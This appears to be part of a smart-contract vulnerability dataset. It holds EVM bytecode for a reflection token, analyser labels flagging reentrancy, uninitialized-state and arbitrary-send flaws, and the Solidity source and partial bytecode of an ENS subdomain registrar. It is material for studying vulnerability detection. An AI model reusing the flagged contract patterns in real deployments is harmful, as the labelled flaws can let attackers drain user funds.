600082840290508284828161295a57fe5b04146129b1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613e7a6021913960400191505060405180910390fd5b809150505b92915050565b60006129fe83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612c88565b905092915050565b80612a1457612a13612d4e565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612ab75750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612acc57612ac7848484612d91565b612c49565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612b6f5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b8457612b7f848484612ff1565b612c48565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612c265750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612c3b57612c36848484613251565b612c47565b612c46848484613546565b5b5b5b80612c5757612c56613711565b5b50505050565b6000806000612c6a613725565b91509150612c8181836129bc90919063ffffffff16565b9250505090565b60008083118290612d34576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612cf9578082015181840152602081019050612cde565b50505050905090810190601f168015612d265780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612d4057fe5b049050809150509392505050565b6000600c54148015612d6257506000600d54145b15612d6c57612d8f565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612da3876139d2565b955095509550955095509550612e0187600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a3a90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e9686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a3a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f2b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f7781613b0c565b612f818483613cb1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080613003876139d2565b95509550955095509550955061306186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a3a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130f683600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8490919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061318b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131d781613b0c565b6131e18483613cb1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080613263876139d2565b9550955095509550955095506132c187600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a3a90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061335686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a3a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133eb83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8490919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061348085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134cc81613b0c565b6134d68483613cb1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080613558876139d2565b9550955095509550955095506135b686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a3a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061364b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061369781613b0c565b6136a18483613cb1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156139875782600260006009848154811061375f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061384657508160036000600984815481106137de57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561386457600a54683635c9adc5dea00000945094505050506139ce565b6138ed600260006009848154811061387857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613a3a90919063ffffffff16565b9250613978600360006009848154811061390357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613a3a90919063ffffffff16565b91508080600101915050613740565b506139a6683635c9adc5dea00000600a546129bc90919063ffffffff16565b8210156139c557600a54683635c9adc5dea000009350935050506139ce565b81819350935050505b9091565b60008060008060008060008060006139ef8a600c54600d54613ceb565b92509250925060006139ff612c5d565b90506000806000613a128e878787613d81565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613a7c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061240d565b905092915050565b600080828401905083811015613b02576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613b16612c5d565b90506000613b2d828461293690919063ffffffff16565b9050613b8181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613cac57613c6883600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8490919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613cc682600a54613a3a90919063ffffffff16565b600a81905550613ce181600b54613a8490919063ffffffff16565b600b819055505050565b600080600080613d176064613d09888a61293690919063ffffffff16565b6129bc90919063ffffffff16565b90506000613d416064613d33888b61293690919063ffffffff16565b6129bc90919063ffffffff16565b90506000613d6a82613d5c858c613a3a90919063ffffffff16565b613a3a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613d9a858961293690919063ffffffff16565b90506000613db1868961293690919063ffffffff16565b90506000613dc8878961293690919063ffffffff16565b90506000613df182613de38587613a3a90919063ffffffff16565b613a3a90919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212202e9c8bdb7ec30b890defbf3fe93edcf100487ef2d79092b63688d42a1260fe0e64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,484 |
0xfa6512358d241b636edf5f8ccaaf86676dec21a7
|
pragma solidity ^0.4.4;
/**
* The ENS registry contract.
*/
contract ENS {
// Logged when the owner of a node assigns a new owner to a subnode.
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
// Logged when the owner of a node transfers ownership to a new account.
event Transfer(bytes32 indexed node, address owner);
// Logged when the resolver for a node changes.
event NewResolver(bytes32 indexed node, address resolver);
// Logged when the TTL of a node changes
event NewTTL(bytes32 indexed node, uint64 ttl);
struct Record {
address owner;
address resolver;
uint64 ttl;
}
mapping(bytes32=>Record) records;
// Permits modifications only by the owner of the specified node.
modifier only_owner(bytes32 node) {
if (records[node].owner != msg.sender) throw;
_;
}
/**
* Constructs a new ENS registrar.
*/
function ENS() {
records[0].owner = msg.sender;
}
/**
* Returns the address that owns the specified node.
*/
function owner(bytes32 node) constant returns (address) {
return records[node].owner;
}
/**
* Returns the address of the resolver for the specified node.
*/
function resolver(bytes32 node) constant returns (address) {
return records[node].resolver;
}
/**
* Returns the TTL of a node, and any records associated with it.
*/
function ttl(bytes32 node) constant returns (uint64) {
return records[node].ttl;
}
/**
* Transfers ownership of a node to a new address. May only be called by the current
* owner of the node.
* @param node The node to transfer ownership of.
* @param owner The address of the new owner.
*/
function setOwner(bytes32 node, address owner) only_owner(node) {
Transfer(node, owner);
records[node].owner = owner;
}
/**
* Transfers ownership of a subnode sha3(node, label) to a new address. May only be
* called by the owner of the parent node.
* @param node The parent node.
* @param label The hash of the label specifying the subnode.
* @param owner The address of the new owner.
*/
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) only_owner(node) {
var subnode = sha3(node, label);
NewOwner(node, label, owner);
records[subnode].owner = owner;
}
/**
* Sets the resolver address for the specified node.
* @param node The node to update.
* @param resolver The address of the resolver.
*/
function setResolver(bytes32 node, address resolver) only_owner(node) {
NewResolver(node, resolver);
records[node].resolver = resolver;
}
/**
* Sets the TTL for the specified node.
* @param node The node to update.
* @param ttl The TTL in seconds.
*/
function setTTL(bytes32 node, uint64 ttl) only_owner(node) {
NewTTL(node, ttl);
records[node].ttl = ttl;
}
}
/**
* @dev A basic interface for ENS resolvers.
*/
contract Resolver {
function supportsInterface(bytes4 interfaceID) public pure returns (bool);
function addr(bytes32 node) public view returns (address);
function setAddr(bytes32 node, address addr) public;
}
contract RegistrarInterface {
event OwnerChanged(bytes32 indexed label, address indexed oldOwner, address indexed newOwner);
event DomainConfigured(bytes32 indexed label);
event DomainUnlisted(bytes32 indexed label);
event NewRegistration(bytes32 indexed label, string subdomain, address indexed owner, address indexed referrer, uint price);
event RentPaid(bytes32 indexed label, string subdomain, uint amount, uint expirationDate);
// InterfaceID of these four methods is 0xc1b15f5a
function query(bytes32 label, string subdomain) view returns(string domain, uint signupFee, uint rent, uint referralFeePPM);
function register(bytes32 label, string subdomain, address owner, address referrer, address resolver) public payable;
function rentDue(bytes32 label, string subdomain) public view returns(uint timestamp);
function payRent(bytes32 label, string subdomain) public payable;
}
/**
* @dev Implements an ENS registrar that sells subdomains on behalf of their owners.
*
* Users may register a subdomain by calling `register` with the name of the domain
* they wish to register under, and the label hash of the subdomain they want to
* register. They must also specify the new owner of the domain, and the referrer,
* who is paid an optional finder's fee. The registrar then configures a simple
* default resolver, which resolves `addr` lookups to the new owner, and sets
* the `owner` account as the owner of the subdomain in ENS.
*
* New domains may be added by calling `configureDomain`, then transferring
* ownership in the ENS registry to this contract. Ownership in the contract
* may be transferred using `transfer`, and a domain may be unlisted for sale
* using `unlistDomain`. There is (deliberately) no way to recover ownership
* in ENS once the name is transferred to this registrar.
*
* Critically, this contract does not check two key properties of a listed domain:
*
* - Is the name UTS46 normalised?
* - Is the Deed held by an appropriate custodian contract?
*
* User applications MUST check these two elements for each domain before
* offering them to users for registration.
*
* Applications should additionally check that the domains they are offering to
* register are controlled by this registrar, since calls to `register` will
* fail if this is not the case.
*/
contract SubdomainRegistrar is RegistrarInterface {
// namehash('eth')
bytes32 constant public TLD_NODE = 0x93cdeb708b7545dc668eb9280176169d1c33cfd8ed6f04690a0bcc88a93fc4ae;
ENS public ens;
struct Domain {
string name;
address owner;
uint price;
uint referralFeePPM;
}
mapping(bytes32=>Domain) domains;
function SubdomainRegistrar(ENS _ens) public {
ens = _ens;
}
/**
* @dev owner returns the address of the account that controls a domain.
* Initially this is the owner of the name in ENS. If the name has been
* transferred to this contract, then the internal mapping is consulted
* to determine who controls it.
* @param label The label hash of the deed to check.
* @return The address owning the deed.
*/
function owner(bytes32 label) public view returns(address ret) {
ret = ens.owner(keccak256(TLD_NODE, label));
if(ret == address(this)) {
ret = domains[label].owner;
}
}
modifier owner_only(bytes32 label) {
require(owner(label) == msg.sender);
_;
}
/**
* @dev Transfers internal control of a name to a new account. Does not update
* ENS.
* @param name The name to transfer.
* @param newOwner The address of the new owner.
*/
function transfer(string name, address newOwner) public owner_only(keccak256(name)) {
var label = keccak256(name);
OwnerChanged(keccak256(name), domains[label].owner, newOwner);
domains[label].owner = newOwner;
}
/**
* @dev Sets the resolver record for a name in ENS.
* @param name The name to set the resolver for.
* @param resolver The address of the resolver
*/
function setResolver(string name, address resolver) public owner_only(keccak256(name)) {
var label = keccak256(name);
var node = keccak256(TLD_NODE, label);
ens.setResolver(node, resolver);
}
/**
* @dev Configures a domain for sale.
* @param name The name to configure.
* @param price The price in wei to charge for subdomain registrations
* @param referralFeePPM The referral fee to offer, in parts per million
*/
function configureDomain(string name, uint price, uint referralFeePPM) public owner_only(keccak256(name)) {
var label = keccak256(name);
var domain = domains[label];
if(keccak256(domain.name) != label) {
// New listing
domain.name = name;
}
if(domain.owner != msg.sender) {
domain.owner = msg.sender;
}
domain.price = price;
domain.referralFeePPM = referralFeePPM;
DomainConfigured(label);
}
/**
* @dev Unlists a domain
* May only be called by the owner.
* @param name The name of the domain to unlist.
*/
function unlistDomain(string name) public owner_only(keccak256(name)) {
var label = keccak256(name);
var domain = domains[label];
DomainUnlisted(label);
domain.name = '';
domain.owner = owner(label);
domain.price = 0;
domain.referralFeePPM = 0;
}
/**
* @dev Returns information about a subdomain.
* @param label The label hash for the domain.
* @param subdomain The label for the subdomain.
* @return domain The name of the domain, or an empty string if the subdomain
* is unavailable.
* @return price The price to register a subdomain, in wei.
* @return rent The rent to retain a subdomain, in wei per second.
* @return referralFeePPM The referral fee for the dapp, in ppm.
*/
function query(bytes32 label, string subdomain) view returns(string domain, uint price, uint rent, uint referralFeePPM) {
var node = keccak256(TLD_NODE, label);
var subnode = keccak256(node, keccak256(subdomain));
if(ens.owner(subnode) != 0) {
return ('', 0, 0, 0);
}
var data = domains[label];
return (data.name, data.price, 0, data.referralFeePPM);
}
/**
* @dev Registers a subdomain.
* @param label The label hash of the domain to register a subdomain of.
* @param subdomain The desired subdomain label.
* @param subdomainOwner The account that should own the newly configured subdomain.
* @param referrer The address of the account to receive the referral fee.
*/
function register(bytes32 label, string subdomain, address subdomainOwner, address resolver, address referrer) public payable {
var domainNode = keccak256(TLD_NODE, label);
var subdomainLabel = keccak256(subdomain);
// Subdomain must not be registered already.
require(ens.owner(keccak256(domainNode, subdomainLabel)) == address(0));
var domain = domains[label];
// Domain must be available for registration
require(keccak256(domain.name) == label);
// User must have paid enough
require(msg.value >= domain.price);
// Send any extra back
if(msg.value > domain.price) {
msg.sender.transfer(msg.value - domain.price);
}
// Send any referral fee
var total = domain.price;
if(domain.referralFeePPM * domain.price > 0 && referrer != 0 && referrer != domain.owner) {
var referralFee = (domain.price * domain.referralFeePPM) / 1000000;
referrer.transfer(referralFee);
total -= referralFee;
}
// Send the registration fee
if(total > 0) {
domain.owner.transfer(total);
}
// Register the domain
if(subdomainOwner == 0) {
subdomainOwner = msg.sender;
}
doRegistration(domainNode, subdomainLabel, subdomainOwner, Resolver(resolver));
NewRegistration(label, subdomain, subdomainOwner, referrer, domain.price);
}
function doRegistration(bytes32 node, bytes32 label, address subdomainOwner, Resolver resolver) internal {
// Get the subdomain so we can configure it
ens.setSubnodeOwner(node, label, this);
var subnode = keccak256(node, label);
// Set the subdomain's resolver
ens.setResolver(subnode, resolver);
// Set the address record on the resolver
resolver.setAddr(subnode, subdomainOwner);
// Pass ownership of the new subdomain to the registrant
ens.setOwner(subnode, subdomainOwner);
}
function supportsInterface(bytes4 interfaceID) constant returns (bool) {
return (
(interfaceID == 0x01ffc9a7) // supportsInterface(bytes4)
|| (interfaceID == 0xc1b15f5a) // RegistrarInterface
);
}
function rentDue(bytes32 label, string subdomain) public view returns(uint timestamp) {
return 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
}
function payRent(bytes32 label, string subdomain) public payable {
revert();
}
}
|
0x6060604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301ffc9a7146100bf57806302571be3146101195780632eef3d65146101805780633f15457f146102785780634254b155146102cd578063660b7ad514610389578063733ccaba1461040757806396df354014610483578063cb01a9bf146104b4578063da1fe7d514610513578063e34e788914610582578063fbf58b3e146105df575b600080fd5b34156100ca57600080fd5b6100ff60048080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690602001909190505061065b565b604051808215151515815260200191505060405180910390f35b341561012457600080fd5b61013e6004808035600019169060200190919050506106f5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561018b57600080fd5b6101e860048080356000191690602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061087f565b6040518080602001858152602001848152602001838152602001828103825286818151815260200191508051906020019080838360005b8381101561023a57808201518184015260208101905061021f565b50505050905090810190601f1680156102675780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b341561028357600080fd5b61028b610b5f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61038760048080356000191690602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b84565b005b341561039457600080fd5b6103f160048080356000191690602001909190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506110e8565b6040518082815260200191505060405180910390f35b341561041257600080fd5b610481600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611113565b005b341561048e57600080fd5b610496611359565b60405180826000191660001916815260200191505060405180910390f35b61051160048080356000191690602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611380565b005b341561051e57600080fd5b610580600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091908035906020019091908035906020019091905050611385565b005b341561058d57600080fd5b6105dd600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061162d565b005b34156105ea57600080fd5b610659600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611816565b005b60006301ffc9a77c010000000000000000000000000000000000000000000000000000000002827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806106ee575063c1b15f5a7c010000000000000000000000000000000000000000000000000000000002827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b9050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166302571be37f93cdeb708b7545dc668eb9280176169d1c33cfd8ed6f04690a0bcc88a93fc4ae6001028460405180836000191660001916815260200182600019166000191681526020019250505060405180910390206000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b15156107e757600080fd5b6102c65a03f115156107f857600080fd5b5050506040518051905090503073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561087a5760016000836000191660001916815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b919050565b610887611e28565b6000806000806000807f93cdeb708b7545dc668eb9280176169d1c33cfd8ed6f04690a0bcc88a93fc4ae600102896040518083600019166000191681526020018260001916600019168152602001925050506040518091039020925082886040518082805190602001908083835b60208310151561091a57805182526020820191506020810190506020830392506108f5565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206040518083600019166000191681526020018260001916600019168152602001925050506040518091039020915060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166302571be3846000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b1515610a1757600080fd5b6102c65a03f11515610a2857600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff16141515610a7e57600080600060206040519081016040528060008152509291908292508191508090509650965096509650610b53565b600160008a60001916600019168152602001908152602001600020905080600001816002015460008360030154838054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b405780601f10610b1557610100808354040283529160200191610b40565b820191906000526020600020905b815481529060010190602001808311610b2357829003601f168201915b5050505050935081915096509650965096505b50505092959194509250565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008060007f93cdeb708b7545dc668eb9280176169d1c33cfd8ed6f04690a0bcc88a93fc4ae6001028a60405180836000191660001916815260200182600019166000191681526020019250505060405180910390209450886040518082805190602001908083835b602083101515610c155780518252602082019150602081019050602083039250610bf0565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209350600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166302571be3878760405180836000191660001916815260200182600019166000191681526020019250505060405180910390206000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b1515610d2957600080fd5b6102c65a03f11515610d3a57600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff16141515610d6657600080fd5b600160008b6000191660001916815260200190815260200160002092508960001916836000016040518082805460018160011615610100020316600290048015610de75780601f10610dc5576101008083540402835291820191610de7565b820191906000526020600020905b815481529060010190602001808311610dd3575b5050915050604051809103902060001916141515610e0457600080fd5b82600201543410151515610e1757600080fd5b8260020154341115610e6a573373ffffffffffffffffffffffffffffffffffffffff166108fc846002015434039081150290604051600060405180830381858888f193505050501515610e6957600080fd5b5b8260020154915060008360020154846003015402118015610ea2575060008673ffffffffffffffffffffffffffffffffffffffff1614155b8015610efe57508260010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b15610f6457620f42408360030154846002015402811515610f1b57fe5b0490508573ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610f5e57600080fd5b80820391505b6000821115610fd2578260010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501515610fd157600080fd5b5b60008873ffffffffffffffffffffffffffffffffffffffff161415610ff5573397505b61100185858a8a611a84565b8573ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff168b600019167ffa38f9920801763ca6e4ee19135fb26a4fa11c0a34f7117455064991a1a3e6588c87600201546040518080602001838152602001828103825284818151815260200191508051906020019080838360005b838110156110a1578082015181840152602081019050611086565b50505050905090810190601f1680156110ce5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a450505050505050505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff905092915050565b600080836040518082805190602001908083835b60208310151561114c5780518252602082019150602081019050602083039250611127565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390203373ffffffffffffffffffffffffffffffffffffffff16611199826106f5565b73ffffffffffffffffffffffffffffffffffffffff161415156111bb57600080fd5b846040518082805190602001908083835b6020831015156111f157805182526020820191506020810190506020830392506111cc565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902092507f93cdeb708b7545dc668eb9280176169d1c33cfd8ed6f04690a0bcc88a93fc4ae60010283604051808360001916600019168152602001826000191660001916815260200192505050604051809103902091506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631896f70a83866040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600019166000191681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b151561133e57600080fd5b6102c65a03f1151561134f57600080fd5b5050505050505050565b7f93cdeb708b7545dc668eb9280176169d1c33cfd8ed6f04690a0bcc88a93fc4ae60010281565b600080fd5b600080846040518082805190602001908083835b6020831015156113be5780518252602082019150602081019050602083039250611399565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390203373ffffffffffffffffffffffffffffffffffffffff1661140b826106f5565b73ffffffffffffffffffffffffffffffffffffffff1614151561142d57600080fd5b856040518082805190602001908083835b602083101515611463578051825260208201915060208101905060208303925061143e565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209250600160008460001916600019168152602001908152602001600020915082600019168260000160405180828054600181600116156101000203166002900480156115135780601f106114f1576101008083540402835291820191611513565b820191906000526020600020905b8154815290600101906020018083116114ff575b50509150506040518091039020600019161415156115455785826000019080519060200190611543929190611e3c565b505b3373ffffffffffffffffffffffffffffffffffffffff168260010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156115e257338260010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b84826002018190555083826003018190555082600019167f1427993bb6b6c16d8953c450c37078c8f41196e2e2db1619cda06620143e2d9160405160405180910390a2505050505050565b600080826040518082805190602001908083835b6020831015156116665780518252602082019150602081019050602083039250611641565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390203373ffffffffffffffffffffffffffffffffffffffff166116b3826106f5565b73ffffffffffffffffffffffffffffffffffffffff161415156116d557600080fd5b836040518082805190602001908083835b60208310151561170b57805182526020820191506020810190506020830392506116e6565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209250600160008460001916600019168152602001908152602001600020915082600019167f77f7b610de5055c8f704e6a3b12874468f5785f3a7d1007b67a8a4b4c7ed88fc60405160405180910390a260206040519081016040528060008152508260000190805190602001906117b0929190611e3c565b506117ba836106f5565b8260010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600082600201819055506000826003018190555050505050565b6000826040518082805190602001908083835b60208310151561184e5780518252602082019150602081019050602083039250611829565b6001836020036101000a0380198251168184511680821785525050505050509050019